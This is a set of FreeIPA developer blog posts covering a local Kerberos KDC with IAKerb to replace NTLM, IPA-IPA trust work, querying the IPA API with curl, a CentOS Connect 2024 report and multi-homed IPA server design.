In the 2020s Microsoft continued to work on NTLM removal. In 2023 they announced that all Windows systems will have a local KDC as their local authentication source, accessible externally via selected applications through the IAKerb mechanism. By the end of 2024, we have only seen demos published by Microsoft engineers at various events but this is a promising path forward. Presence of the local KDC in Windows raises an interoperability requirement: Linux systems will have to handle access to Windows machines in a standalone environment over SMB protocol. Authentication is currently done with NTLM, it will eventually be removed, thus we need to support the IAKerb protocol extension.

The NTLM removal for Linux systems requires several changes. First, the Samba server will need to learn how to accept authentication with the IAKerb protocol extension. Then, Samba client code needs to be able to establish a client connection and advertise IAKerb protocol extension. For kernel level access, the SMB filesystem driver needs to learn how to use IAKerb as well, this will also need to be implemented in the user space cifs-utils package. Finally, to be able to use the same feature in a pure Linux environment, we need to be able to deploy Kerberos KDC locally and do it in an easy manner on each machine.

This is where we had an idea. If we are going to have a local KDC running on each system, maybe we should use it to handle all authentication and not just for the NTLM removal? This way we can make both the local and domain-enrolled user experience the same and provide access locally to a whole set of authentication methods we support for FreeIPA: passwords, smartcards, one-time passwords and remote RADIUS server authentication, use of FIDO2 tokens, and authentication against an external OAuth2 Identity Provider using a device authorization grant flow.

How “local” a local KDC should be?

On standalone systems it is often not desirable to run daemons continuously. Also, it is not desirable to expose these services to the connected network if they really don’t need to be exposed. A common approach to solve this problem is by providing a local inter-process communication (IPC) mechanism to communicate with the server components. We chose to expose a local KDC via UNIX domain sockets. A UNIX domain socket is a well-known mechanism and has known security properties. With the help of a systemd feature called socket activation, we also can start local KDC on demand, when a Kerberos client connects over the UNIX domain socket. Since on local systems actual authentication requests don’t happen often, this helps to reduce memory and CPU usage in the long run.

If a local KDC is only accessible over a UNIX domain socket, remote applications could not get access to it directly. This means they would need to have help from a server application that can utilize the IAKerb mechanism to pass-through the communication between a client and the KDC. It would enable us to authenticate as a local user remotely from a different machine. Due to how the IAKerb mechanism is designed and integrated into GSS-API, this only allows password-based authentication. Anything that requires passwordless methods cannot obtain initial Kerberos authentication over IAKerb, at least at this point.

Here is a small demo on Fedora, using our localkdc tool to start a local KDC, obtain a Kerberos ticket upon login. The tickets can then be used effortlessly to authenticate to local services such as SUDO or Samba. For remote access we rely on Samba support for IAKerb and authenticate with GSSAPI but local smbclient uses a password first to obtain the initial ticket over IAKerb. This is purely a limitation of the current patches we have to Samba.

Make a pause here and think about the implications. We have an initial Kerberos ticket from the local system. The Kerberos ticket embeds details of how this authentication happened. We might have used a password to authenticate, or a smartcard. Or any other supported pre-authentication methods. We could reuse the same methods FreeIPA already provides in the centralized environment.

The Kerberos ticket also can contain details about the user session, including up to date group membership. It does not currently have that in the local KDC case but we aim to fix that. This ticket can be used to authenticate to any GSS-API or Kerberos-aware service on this machine. If a remote machine accepts Kerberos, it theoretically could accept a ticket presented by a client application running on the local machine as well. Only, to do that it needs to be able to communicate with our local KDC and it couldn’t access it.

Trust management

Luckily, a local KDC deployment is a full-featured Kerberos realm and thus can establish cross-realm agreements with other Kerberos realms. If two “local” KDC realms have trust agreements between each other, they can issue cross-realm Kerberos tickets which applications can present over IAKerb to the remote “local” KDC. Then a Kerberos ticket to a service running on the target system can be requested and issued by the system’s local KDC.

Thus, we can achieve passwordless authentication locally on Linux systems and have the ability to establish peer to peer agreements across multiple systems, to allow authentication requests to flow and operate on commonly agreed credentials. A problem now moves to the management area: how to manage these peer to peer agreements and permissions in an easy way?

Systemd User/Group API support

MIT Kerberos KDC implementation provides a flexible way to handle Kerberos principals’ information. A database backend (KDB) implementation can be dynamically loaded and replaced. This is already used by both FreeIPA and Samba AD to integrate MIT Kerberos KDC with their own database backends based on different LDAP server implementations. For a local KDC use case running a full-featured LDAP server is not required nor intended. However, it would be great if different applications could expose parts of the data needed by the KDB interfaces and cooperate together. Then a single KDB driver implementation could be used to streamline and provide uniform implementation of Kerberos-specific details in a local KDC.

One of the promising interfaces to achieve that is the User/Group record lookup API via varlink from systemd. Varlink allows applications to register themselves and listen on UNIX domain sockets for communication similar to D-Bus but with much less implementation overhead. The User/Group API technically also allows to merge data coming from different sources when an application inquires the information. “Technically”, because io.systemd.Multiplexer API endpoint currently does not support merging non-overlapping data representing the same account from multiple sources. Once it would become possible, we could combine the data dynamically and may interact with users on demand when corresponding requsts come in. Or we can implement our own blending service.

Blending data requests from multiple sources within MIT KDC needs a specialized KDB driver. We certainly don’t want this driver to duplicate the code from other drivers, so making these drivers stackable would be a good option. Support for one level of stacking has been merged to MIT Kerberos through a quickly processed pull request and will be available in the next MIT Kerberos release. This allows us to have a single KDB driver that loads other drivers specialized in storing Kerberos principals and processing additional information like MS-PAC structure or applying additional authorization details.

Establishing trusts

If Alice and Bob are in the same network and want to exchange some files, they could do this using SMB and Samba. But that Alice can authenticate on Bob’s machine, they would need to establish a Kerberos cross realm trust. With the current tooling this is a complex task. For users we need to make this more accessible. We want to allow users to request trust on demand and validate these requests interactively. We also want to allow trust to be present for a limited timeframe, automatically expiring or manually removed.

If we have a Kerberos principal lookup on demand through a curated varlink API endpoint, we also can have a user-facing service to initiate establishing the trust between two machines on demand. Imagine a user trying to access SMB share on one desktop system that triggers a pop-up to establish trust relationship with a corresponding local KDC on the remote desktop system. Both owners of the systems would be able to communicate out of band that provided information is correct and can be trusted. Once it is done, we can return back the details of the specific Kerberos principal that represents this trust relationship. We can limit lifetime of this agreement so that it would disappear automatically in one hour or a day, or a week.

Current state of local authentication hub

We started with two individual implementation paths early in 2024:

support IAKerb in MIT Kerberos and Samba
enable MIT Kerberos to be used locally without network exposure

MIT Kerberos did have support for IAKerb protocol extension for more than a decade but since Microsoft introduced some changes to the protocol, those changes needed to be integrated as well. This was completed during summer 2024, though no upstream release is available yet. MIT Kerberos typically releases new versions yearly in January so we hope to get some updates early 2025.

Samba integration with IAKerb is currently under implementation. Originally, Microsoft was planning to release Windows 11 and Windows Server 2025 with IAKerb support enabled during autumn 2024. However, the Windows engineering team faced some issues and IAKerb is still not enabled in the Windows Server 2025 and Windows 11 releases. We are looking forward to getting access to Windows builds that enable IAKerb support to ensure interoperability before merging Samba changes upstream. We also need to complete the Samba implementation to properly support locally-issued Kerberos tickets and not only do acquisition of the ticket based on the password.

Meanwhile, our cooperation with MIT Kerberos development team led to advancements in the local KDC support. The MIT Kerberos KDC can now be run over a UNIX domain socket. Also on systemd-enabled systems we allow socket activation, transforming local KDC into an on-demand service. We will continue our work on a dynamic database for a local KDC, to allow on-demand combination of resources from multiple authoritative local sources (Samba, FreeIPA, SSSD, local KDC, future dynamic trust application).

For experiments and ease of deployments, a new configuration tool was developed, localkdc. The tool is available at localkdc and COPR repository can be used to try the whole solution on Fedora.

If you want to get that test tried in a simple setup, you might be interested in a tool that we developed initially for FreeIPA: FreeIPA local tests. This tool allows to provision and run a complex test environment in podman containers. The video of the local KDC usage was actually generated automatically by the scripts from https://github.com/abbra/freeipa-local-tests/tree/main/ipalab-config/localkdc.

FreeIPA: whoami via curl

2024-10-31T17:13:22+00:00

Assuming PRINCIPAL is your Kerberos principal and $IPASERVER is the FQDN of your server, you can query your identity on the IPA server via curl:

kinit $PRINCIPAL
curl -k -H referer:https://$IPASERVER/ipa   -H "Content-Type:application/json"    -H "Accept:applicaton/json"   --negotiate -u :   --cacert /etc/ipa/ca.crt   -d  '{"method":"whoami","params":[[],{"version": "2.220"}],"id":0}'   -X POST    https://$IPASERVER/ipa/json
{"result": {"object": "user", "command": "user_show/1", "arguments": ["ayoung"]}, "version": "4.5.4", "error": null, "id": 0, "principal": "ayoung@YOUNGLOGIC.COM"}

This is handy if your system is not registered as an IPA client.

To fetch by username:

curl -k -H referer:https://$IPASERVER/ipa   -H "Content-Type:application/json"    -H "Accept:applicaton/json" --negotiate -u : --cacert /etc/ipa/ca.crt -d '{"method": "user_show", "params": [[ "ayoung" ], { "all": true, "rights": true }  ]}'  -X POST    https://$IPASERVER/ipa/json

IPA-IPA trust progress report

2024-05-31T09:30:00+00:00

FreeIPA and SSSD teams are working to enable IPA deployments to trust each other. This report outlines the progress we have so far.

Trust across enterprise domains

FreeIPA implements an enterprise domain management: systems enrolled into domain managed centrally and access resources available through the domain controllers. These resources include information about users and groups, machines, Kerberos services and different rules that can bind them. FreeIPA supports a trust to Active Directory forest by posing as a separate Active Directory forest with a single Active Directory domain (a forest root).

The approach helps to integrate with a majority of enterprise deployments. New deployments might not include Active Directory, though. Instead, they tend to be self-sufficient or integrate with externally managed data sources, often without retaining compatibility with traditional POSIX or Active Directory deployments. For example, cloud deployments might rely on OAuth2 identity providers or federate to social services.

FreeIPA can also integrate with OAuth2-based identity providers by bridging authentication over to them. Users would be native IPA users; IPA policies and rules to access IPA resources would apply to them but authentication and permission to issue a Kerberos ticket to the users would be delegated to an external IdP.

One useful approach is to have a single IPA environment that holds all users and groups while individual machines all placed in separate IPA deployments. These deployments would need to trust the environment where users defined. In this document we’d call such deployment an IPA-IPA trust.

IPA-IPA trust would look similar to the existing trust to Active Directory. A core technology is Kerberos: each deployment is a separate Kerberos realm; a trust on Kerberos level means cross-realm ticket granting tickets (TGT) issued by the realms’ KDCs. These cross-realm TGTs allow clients from one realm to request tickets for services located in the other realm.

Requesting Kerberos tickets is a base feature needed to authenticate across the trust. For proper relationship, identities of the authenticated objects (Kerberos principals and services) also need to be resolved. In POSIX environments these identities have to be associated with POSIX users to be able to store data on disk or to run processes with individual login sessions. The process requires not only authentication but also the ability to query information from a trusted domain’s domain controller.

In FreeIPA deployments, user and group information from the domain controllers is retireved by SSSD. When trust to Active Directory forest created, SSSD on IPA domain controllers is able to use a special entry in the trusted domain (trusted domain object, TDO) to authenticate against trusted domain’s domain controllers. SSSD knows how LDAP schema and directory information tree (DIT) on the Active Directory side are organized and can handle user and group object mapping for us.

If SSSD is able to resolve users and groups in the same way as with Active Directory trusts, this means we can reuse existing support for trusted Active Directory users and groups in IPA commands and keep the same user experience when adding HBAC or SUDO rules, managing IPA deployment, and so on. This would also mean we already would have a comprehensive test suite to validate IPA-IPA trust functionality.

Kerberos trust infrastructure

We first focused on making Kerberos infrastructure work when both realms represented by separate FreeIPA deployments. For past decade Microsoft, Samba Team, FreeIPA team, MIT Kerberos and Heimdal projects worked together to ensure there is a solid secure foundation for interoperability between non-POSIX (Active Directory) and POSIX deployments. In Active Directory world some crucial POSIX information is not available. When this information required on POSIX side, it is either synthesized or mapped onto existing objects by FreeIPA and Samba AD.

Kerberos protocol originally didn’t include any means to securely tie Kerberos principals to identities. For example, one was able to create a Windows machine named root in Active Directory and then use its machine account to login to a different machine as root POSIX user. This attack approach not possible anymore if all sides (Kerberos KDCs of the involved realms and a target machine) use authorization data in Kerberos tickets to exchange identity details of the original Kerberos principal’s operating system object. In this case it would mean that a Kerberos principal root would have its machine account information associated with the Kerberos ticket and the target machine would be able to inquire and see that the real Kerberos principal would be host/root.some.domain and that this principal’s operating system object type is a machine account.

The extensions also give ability to communicate group membership details and more information about the account. FreeIPA domain controllers already use these details to check and map properties of trusted Active Directory domains’ objects. For native IPA objects we also generate this information. IPA-IPA trust can rely on these details as well.

This observation allowed us to start with an experiment. Create a trusted domain object that represents a trusted IPA domain and see what does not work and needs a fix to make IPA-IPA trust a reality. We originally thought to replicate Active Directory infrastructure on IPA domain controller side so that existing ipa trust-add --type=ad .. command can be used to establish trust.

These changes are part of the tree I maintain at my github WIP tree.

Identity information retrieval

A part of Active Directory infrastructure that we implemented first was Global Catalog. Global Catalog is a separate, read-only, LDAP instance that contains a subset of the information about all Active Directory objects in the forest. Since FreeIPA LDAP tree uses different LDAP schema and structure than Active Directory LDAP tree, SSSD’s Active Directory identity provider cannot use normal FreeIPA LDAP tree as “yet another Active Directory domain’s LDAP tree”. We imagined that adding support for the Global Catalog (which SSSD is able to query) would make it possible to query IPA users and groups as “Active Directory” users and groups.

We soon found out two issues with this approach. It is not possible to force SSSD to use Global Catalog exclusively. SSSD uses the primary LDAP tree for retrieving users’ information and only switches to Global Catalog for retrieving groups information. Adding support for Global Catalog would not help: existing Active Directory domain identity provider in SSSD would not be able to work against a trusted IPA domain anyway. A proper support for trusted IPA domain in SSSD is needed.

Here we stumbled upon our next issue. SSSD implementation for IPA domain provider includes ability to handle all trusts to Active Directory domains that IPA deployment has. Trusted domains (subdomains, in SSSD speak), in theory, can come from any trust type. Since IPA has only a trust to Active Directory, SSSD implementation did not have an infrastructure to handle different types of subdomains. Instead, a single subdomain type is assumed: any subdomain discovered is an Active Directory domain. Even if we present IPA-IPA trust as an Active Directory trust, SSSD would still attempt to use Active Directory-specific LDAP schema and directory information tree arrangement when making LDAP queries. IPA users and groups from trusted domains aren’t found because LDAP server would not match that LDAP query to the IPA LDAP tree and schema.

SSSD needed a complete refactoring of the subdomains’ infrastructure to allow more than one subdomain type to be present. This work is still in progress. Justin Stephenson from the SSSD team tracks his progress in this WIP pull request.

Demo

With the refactoring work currently being done by Justin, it is possible to combine two parts: Global Catalog-based FreeIPA changes from my WIP source tree and SSSD changes from Justin’s WIP source tree.

We have these modifications to FreeIPA and SSSD prebuilt in Fedora COPR repository abbra/wip-ipa-trust. The packages there work in a specific environment where two FreeIPA deployments named ipa1.test and ipa2.test because we have so far no way to differentiate trusted IPA deployment from a trusted Active Directory deployment, thus SSSD hardcodes the names of the IPA domains to trust.

A trust between ipa1.test and ipa2.test can be established using standard ipa trust-add command. This approach allowed us to investigate what is working or not after the trust link is created. Both FreeIPA and SSSD teams can also work on validating that specific IPA functionality available to handle trusted Active Directory users and groups is also working with IPA-IPA trust.

I recorded a small demo on Fedora 40:

Two administrators establish trust between their environments and then allow use of resources across the trust. Since the exact details how trust is established will change, I omitted that step and show pre-created trust entries along with the ID range details. Only ‘Active Directory trust with POSIX attributes’ ID range type supported for now. It should not be a problem though because IPA deployments do provide POSIX information.

To allow access to IPA API, an administrator of the trusting domain needs to create ID overrides for user from the trusted domain. Once the overrides are in place, a user from the trusted domain can issue IPA API calls. In the demo we do ipa ping call and show that underlying Kerberos service tickets were requested and issued.

Future work

Now that we validated the approach, the road splits into two:

figure out how to get trust established
fix remaining bugs to make ‘day two’ operations possible.

Establishing trust is an interesting problem. Or two. For pure IPA-IPA trust we don’t need to provision the same infrastructure as with Active Directory trust: we don’t need to run Samba on each domain controller to be able to create trusted domain objects and respond to DCE RPC requests because we don’t use DCE RPC in SSSD.

On top of that, FreeIPA has extensive set of passwordless authentication methods which require use of a FAST channel when obtaining an initial Kerberos TGT. When trust to Active Directory created, we first authenticate to AD DC to get a Kerberos TGT of the Active Directory’s administrator. Windows does not have support for passwordless authentication methods through Kerberos except for PKINIT (smartcards), so in most cases we deal with password authentication. If an IPA administrative account is using passwordless method to authenticate, we first have to create a FAST channel or a trusted-to-be domain controller will not even expose supported pre-authentication methods. Any existing Kerberos ticket could be used to create the FAST channel but it must be from the trusted domain and we don’t have trust yet. In our own domain we can use a machine account (on a particular machine) or an Anonymous PKINIT to create the FAST channel. For a trusted-to-be domain we have to trust the CA who issued PKINIT certificates to their KDC. And KDCs might be accessible through a HTTPS proxy (MS-KKDCP protocol). This means some kind of pre-trust exchange needed to make sure we can authenticate against their KDCs successfully.

Also, we have no idea what exact pre-authentication methods will be available to the user. Practically, we only care about being able to authenticate to the trusted domain’s IPA API and then use that connection to set things up. For this it would be enough to authenticate to the trusted-to-be domain’s IPA API endpoint, save received cookies and use them. This method wouldn’t support passwordless authentication either, except an OTP method. FIDO2 and external IdP (OAuth2) authentication aren’t yet directly supported in IPA web UI and IPA API end-points.

With all those complications, we look at enabling OAuth2-based authentication and authorization endpoints in IPA first. We then can use them to request a token from a trusted-to-be domain’s OAuth2 endpoint and use it to establish the trust. A remote domain controller will handle the authentication of their users and will be able to supply all required details: trusted CA chains, ID ranges, scopes for authentication/ID mapping, etc.

And the OAuth2 endpoint will allow us to handle own passwordless authentication methods for IPA Web UI and applications on the enrolled systems like Cockpit which will be able to delegate to IPA for the user login.

CentOS Connect 2024 report

2024-02-13T07:25:00+00:00

February 1st-4th I participated in two events in Brussels: CentOS Connect and FOSDEM. FOSDEM is getting closer to its quarter a century anniversary next year. With 67 mini-conferences and another 30 events around it, it is considered one of the largest conferences in Europe, any topic included. This report is about CentOS Connect.

CentOS Connect

CentOS Connect was a two-day event preceding FOSDEM. Organized by the CentOS project, it brought together contributors from multiple projects around CentOS Stream upstreams (such as Fedora Project) and downstreams (from Red Hat Enterprise Linux, AlmaLinux, Rocky Linux, and others), long-time users and community members. A lot of talks were given on both days and several special interest groups (SIGs) ran their workshops on the first day.

CentOS Integration SIG

I have attended a workshop organized by the CentOS Integration SIG. The focus of this group is to define and run integration tests around CentOS Stream delivery to the public. While CentOS Stream composes are built using the messages on how RHEL next minor version is composed after being thoroughly tested by Red Hat’s quality engineering group, there is a value in testing CentOS Stream composes by other community members independently as their use cases might differ. Right now the set of tests is defined as a t_functional suite maintained by the CentOS Core SIG but this suite is not enough for the complex scenarios.

The Integration SIG is looking at improving the situation. Two projects were present and interested in this work: RDO (RPM-based distribution of OpenStack) and RHEL Identity Management. Both teams have to deal with coordinated package deliveries across multiple components and both need to get multi-host deployments tested. RDO can be treated as a product built on top of CentOS Stream where its own RDO deliveries are installed on top of CentOS Stream images. RHEL Identity Management (IdM), on the other hand, is a part of RHEL. It is famously known as a ‘canary in the RHEL mine’ (thanks to Stephen Gallagher’s being poetic a decade ago): if anything is broken in RHEL, chances are it will be visible in RHEL IdM testing. With RHEL IdM integration scope expanding to provide passwordless desktop login support, this becomes even more important and also requires multi-host testing.

CentOS Integration SIG’s proposal to address these requirements is interesting. Since CentOS Stream compose event is independent of the tests, a proposal by Aleksandra Fedorova and Adam Samalik is to treat the compose event in a way similar to a normal development workflow. Producing CentOS Stream compose would generate a merge request of a metadata associated with it to a particular git repository. This merge request then can be reacted to by the various bots and individuals. Since CentOS Stream compose is public, it is already accessible to third-party developers to run their tests and report back the results. This way qualification of the compose promotion to CentOS Stream mirrors can be affected by all parties and will help to keep already published composes in a non-conflicting state.

Since most of the projects involved already have their own continuous integration systems, adding another trigger for those would be trivial. For RHEL IdM and its upstream components (FreeIPA, SSSD, 389-ds, Dogtag PKI, etc.) it would also be possible finally to react to changes to CentOS Stream well ahead of time too. In the past this was complicated by a relative turbulence in the CentOS Stream composes early in RHEL next minor release development time when everybody updates their code and stabilization needs a lot of coordination. I am looking forward to Aleksandra’s proposal to land in the Integration SIG’s materials soon.

Update: Aleksandra has published her proposal at the Fedora Discussion board

CentOS Stream and EPEL

Two talks, by Troy Dawson and Carl George, described the current state of EPEL repository and its future interactions with CentOS 10 Stream. Troy’s discussion was fun, as usual: a lot of statistics obtained from the DNF repository trackers shows that old habits are hard to get rid off and moving forward is a struggle to many users despite security and supportability challenges with older software. Both CentOS 7 and CentOS 8 Stream end of life dates are coming in 2024, adding enough pressure themselves to that.

There are interesting statistics from the EPEL evolution. In August 2023 at Flock to Fedora conference Troy and Carl pointed out that 727 packagers maintained 7298 packages in EPEL 7, 489 packagers handled 4968 packages in EPEL 8, and 396 packagers were handling 5985 packages in EPEL 9. Half a year later we have 7874 packages in EPEL 7, 5108 packages in EPEL 8, and 6868 packages in EPEL 9. Pace seems to pick up EPEL 9 with upcoming end of life dates for older versions. Since soon only EPEL 9 and EPEL 10 would be actively built, there are probably more packagers that would be active in them as well.

EPEL 10 is coming soon. It will bring a slight difference in package suffixes and overall reduction of complexity to packagers. It is great to see how close EPEL work tracks to ELN activities in Fedora. One thing worth noting is that every Fedora package maintainer is a potential EPEL maintainer as well because EPEL reuses Fedora infrastructure for package maintenance. Even if someone is not maintaining EPEL branches on their Fedora packages (I am not doing that myself – my packages are mostly in RHEL), it allows easy jump-in and collaboration. After all, if packages aren’t in RHEL but are in Fedora, their EPEL presence is just one git branch (and Fedora infrastructure ticket) away.

20 years of CentOS project

First day of the CentOS Connect event ended with a party to celebrate 20 years of the CentOS Project. First release (“CentOS version 2”) went out on May 14th, 2004 but since CentOS Connect is the closest big event organized by the project this year, getting a lot of contributors together to celebrate this anniversary seemed appropriate. A huge cake was presented, so big that it wasn’t possible to consume it completely during the party. It was delicious (like a lot of Belgian chocolate!) and next day coffee breaks allowed me to enjoy it a lot.

FreeIPA and CentOS project infrastructure

My own talk was originally planned to gather feedback from all projects which build on top of CentOS as they use a very similar infrastructure. CentOS Project infrastructure is shared with Fedora Project which is built around FreeIPA as a backend and Noggin as a user management frontend. I asked in advance for some feedback from Fedora, CentOS, AlmaLinux, and RockyLinux infrastructure teams and haven’t gotten that much which prompted my own investigation. It is not an easy job since most organizations aren’t really interested in telling the world details of their core infrastructure. Hope was that I’d be able to see real world usage and maybe take some lessons from it back to the development teams.

While working on my talk, we also experienced an outage in Fedora infrastructure related to the upgrade of the FreeIPA setup used there. My team has been helping Fedora infrastructure administrators so I finally got the feedback I was looking for. That led to several fixes upstream and they have recently been backported to RHEL and CentOS Stream as well. However, the overall lack of feedback is concerning – or at least I thought so.

During CentOS Connect I had the opportunity to discuss this with both AlmaLinux (Jonathan) and RockyLinux (Luis) projects’ sysadmins. “It just works” is a common response I get. Well, that’s nice to hear but what was more exciting to hear is that these projects went a bit further than we did in Fedora and CentOS Stream with their environments. Luis has published the whole RockyLinux infrastructure code responsible for FreeIPA deployment. It is based heavily on ansible-freeipa, reuses the same components we developed for Fedora Infrastructure. Rocky also runs FreeIPA tests in OpenQA instance, similarly to Fedora, and hopefully Luis would contribute more tests to cover passwordless login, already available in CentOS Stream. This would be a very welcome contribution in the light of the Integration SIG activities, helping us to test more complex scenarios community-wide. AlmaLinux infrastructure also uses ansible-freeipa but the code is not publicly available, for whatever reason. Jonathan promised to rectify this problem.

Hallway tracks

I had a number of discussions with people from all kinds of CentOS communities. FreeIPA sits at a unique position by providing secure infrastructure to run POSIX workloads and linking it with modern requirements to web authentication. Our effort to improve passwordless login to Linux environments with reuse of Kerberos to propagate authorization state across multiple machines helps to solve the ‘between the worlds’ problems. That is something that many academic institutions have noticed already and many talks I had in the hallways were related to it.

Interoperability of RHEL 7/8/9 IdM server and RHEL 7/8/9 IdM client

2023-08-23T09:34:31+00:00

As their IdM deployment expands over time with the addition of new IdM clients or new IdM servers and replicas, customers often have a mixed topology containing various RHEL versions. This blog post describes the version requirements and limitations that can be seen in these mixed topologies. General version requirements In the general case, it … Continue reading →

Multi-homed FreeIPA server investigation

2023-08-16T07:04:00+00:00

Once in a while people come and ask for FreeIPA servers to work in multi-homed environments. A multi-homed environment in this context is a deployment where the same server is accessible through multiple network interfaces which connect together networks which are not routable to each other. This is typical for administrative and operational networks but there are other types of environments which employ disconnected networks for their operations. FreeIPA server right now has a single host name that resolves to the same IP address in all networks and if one cannot reach the server through that IP address, access to IPA server would not be possible. This typically assumes use of unicast networking as well.

A solution many people look for is to be able to access IPA servers by their interface-specific addresses. Since all secure communication over HTTPS and other protocols (LDAP, Kerberos, etc.) uses name-based resolution in the first place, use of different host names is implied. For example, if FreeIPA is deployed at DNS domain example.test, it would be using Kerberos realm EXAMPLE.TEST and then the original IPA server would be deployed at a host named ipa.example.test (the server host name is not that important here, rather the fact that is is an individual host name). Let’s look at possible communications with this server in a non-multihomed environment first.

Single-homed environment

An IPA client uses HTTPS to communicate with IPA management API, SSSD on the IPA client would use LDAP(S) and Kerberos protocols. In both HTTPS and LDAP(S) cases TLS negotiation would force checking server TLS certificate correctness. A hostname of the host we connect to (ipa.example.test) would have to be present as a dNS SAN record in the TLS certificate presented by the IPA server.

In Kerberos protocol case a different mechanism is used. Yet, Kerberos KDC must know the name of the service principal that a client is asking a service ticket for. If the client wants to acquire a service ticket to ldap/ipa.example.test@EXAMPLE.TEST, this service principal must exist in the Kerberos database that KDC is looking up at.

Multi-homed environment

There are multiple ways of exposing a single hostname in multi-homed environment but they generally involve use of DNS views specific to the individual networking. In such cases DNS serves visible to clients in one network would resolve ipa.example.test to an IP address in that specific network. FreeIPA DNS integration does not support DNS views; this means any of DNS manipulations would have to be done externally to FreeIPA. This is, of course possible, but it really is not then different from a single-homed environment from FreeIPA perspective.

Thus, we would have to have not a single ipa.example.test hostname but for each independent network’s address present on the IPA server a different host name must be present. Let’s assume these are ipa1.example.test and ipa2.example.test. Had we not done this split and simply added multiple addresses for the same ipa.example.test name, clients might resolve the name to an IP address which they could not reach through their own networking routing.

Requirements

Immediately we get a set of requirements here:

TLS certificates issued by IPA CA for HTTPS and LDAP(S) use on IPA server must include dNS SAN records for each hostname represented by the multi-homed server.
Kerberos principals for at least LDAP (ldap/), HTTP (HTTP/), and the system (host/) service principals must have aliases for all multi-homed hostnames.

The latter requirement means that if ipa1.example.test is the primary name, then ldap/ipa1.example.test should have an alias of ldap/ipa2.example.test, HTTP/ipa1.example.test should have an alias of HTTP/ipa2.example.test, and host/ipa1.example.test should have an alias of host/ipa2.example.test.

The same would apply to any other service hosted on IPA server: SMB (cifs/..) or DNS services would need those aliases as well. However, this is not enough.

Implementation considerations

Hostname aliases

FreeIPA does additional checks when issuing certificiates prior to passing the request to the Dogtag CA that is integrated into FreeIPA. For hosts and services on those hosts we also check whether a requestor is granted to issue these certificates. In FreeIPA terms, a host ipa1.example.test would be allowed to issue certificates with dNS SAN record of ipa2.example.test if a host object of ipa1.example.test manages the host object ipa2.example.test in FreeIPA.

Here lies our first problem. A host object in FreeIPA represents the host principal in Kerberos, host/ipa1.example.test. If we created two host objects, ipa1.example.test and ipa2.example.test, then they cannot be aliases to each other on Kerberos level because they’d be two completely different objects from FreeIPA perspective.

Perhaps, we can avoid creating two different host objects? DNS records for hosts are different from the host objects themselves, we only need to have different IP addresses for the hostnames represented by these host entries, not the host entries themselves. May be we could mark one hostname an alias of the other host object?

On Kerberos level FreeIPA does have Kebreros principal name aliasing already. However, it does not exist for hosts as this task has never appeared in past. We would need to add a way to add multiple names to the host object. One way to achieve that is to rely on the fact that fqdn LDAP attribute is multi-valued. Unfortunately, it is also enforced to be a primary key in IPA API – while the underlying LDAP attribute is a multi-valued one, IPA API will enforce its single value:

$ ipa host-mod ipa1.example.test --addattr fqdn=ipa2.example.test
ipa: ERROR: fqdn: Only one value allowed.

This happens because in IPA API any parameter which could be a multi-valued one should explicitly set multivalue=True in its definition. We probably would need to change the multi-valued state for fqdn parameter:

...
        Str('fqdn', hostname_validator,
            cli_name='hostname',
            label=_('Host name'),
            primary_key=True,
            normalizer=normalize_hostname,
>>>>>>      multivalue=True,
        ),
...

and review countless places where its single value is assumed through the code, like in the resolve_fqdn() helper below. LDAP does not guarantee a particular order of returned values for the multi-valued attributes. From LDAP protocol point of view they all equal, there is no particular order.

def resolve_fqdn(name):
    hostentry = api.Command['host_show'](name)['result']
    return hostentry['fqdn'][0]

An alternative would be to introduce a separate attribute purely for the hostname alias management. We don’t need to use it anywhere else at Kerberos level because there we use Kerberos-specific attributes to handle Kerberos principal names and aliases.

LDAP Access Controls

A big part of the FreeIPA access control mechanism relies on 389-ds LDAP server access control interface. Permissions and roles in FreeIPA effectively define a set of ACIs for 389-ds to check access rights. IPA servers verified to be present in certain resource groups (like cn=masters,cn=ipa,cn=etc,$BASEDN). For host aliases this means they should be present in the same groups to be able to operate as their own entities when checking permissions. This is important for internal logic in IPA LDAP plugins and in KDC driver. For the cases when authentication would be done via GSSAPI a resulting Kerberos principal will be normalized to he primary name of the system anyway.

Certificate issuance

Issuing a certificate is a whole separate topic which still awaits its write up. An abridged version of it can be found in my freeipa-users@ mailing list response from May 2022. I need to turn that into a proper document one day.

From the perspective of aliases, we would need to teach the certificate request processing code to look at the host and service aliases when validating SAN records.

Installer integration

There are two approaches to setting up this multi-homed environment. We can provide all information upfront or we can add a tool that adds individual aliases after deployment. This would mean to (re-)generate certificates, create host aliases and services, create configuration snippets and other details which are required to handle multiple host names for the same host from different networks.

The after-deployment case would cause re-issuance of certificates. For external CA providers it could be handled with existing tool that allows to replace existing TLS certificates with externally provided ones. We need to create a checker to verify that all required dNS SAN names were added and are available. In general, troubleshooting this environment would be non-trivial so a special module for ipa-healthcheck definitely would help.

Final thoughts

Multi-homed environments are hard to automate as many assumptions aren’t actually known to us. They are partly implicit to system and network administrator’s work and cannot be derived merely from the system state. It means administrators would need to aid IPA installers with an information. At this point, it is unclear how to structure this information and which of it going to be useful enough. In contemporary Linux environments you might have DNS resolution depend on a specific network interface thanks to systemd-resolved or VPN connection properties. We might not have that information for introspection in advance. While automatically issuing certificates with required names to cover multi-homed setup is not going to be easy, writing down requirements for external CAs and verifying those certificates before applying them at the second stage of external CA enrollment would further complicate things.

All these problems could be solved, of course. Prioritization of this work against other, more urging tasks, is what we need to figure first…

Flock to Fedora 2023 report

2023-08-11T10:46:00+00:00

On August 2nd-4th, 2023, Fedora Project ran its annual contributors conference, Flock to Fedora, in Cork, Ireland. After a previous successful Flock in 2019 in Budapest, Fedora contributors did not meet in person due to rough pandemia years and had created Nest with Fedora online event instead. Nest ran for three years but online meetings aren’t a full replacement for face to face collaboration. Cork’s Flock was supposed to combine both online and offline events together.

I have been attending and presenting at various Flock and Nest events over past seven years. I was looking forward to see and collaborate with many other project participants and users and get to know new people as well.

My travel to Cork was unremarkable. I took a direct flight from Helsinki to Dublin and then an Aircoach bus to Cork. The ‘unremarkable’ part was really about the unexpected delays people did report over the Matrix channel. The only ‘trouble’ I had was to catch a taxi at 11pm after arrival to Cork to get to my B&B. The Aircoach bus from Dublin airport is very popular in summer and whatever taxi fleet is in Cork was DDoSed by the passengers.

Cork is hilly. I stayed in excellent B&B across the road from the conference hotel. The hotel and its conference facilities are in separate buildings; the events building is up hill from the hotel. Walking is helpful, climbing harder but given we are sitting most of the time, was a welcoming ‘struggle’. Perhaps, my stay outside of the conference hotel has also helped to avoid COVID-19 which few other participants, sadly, contracted. It is hit or miss every time.

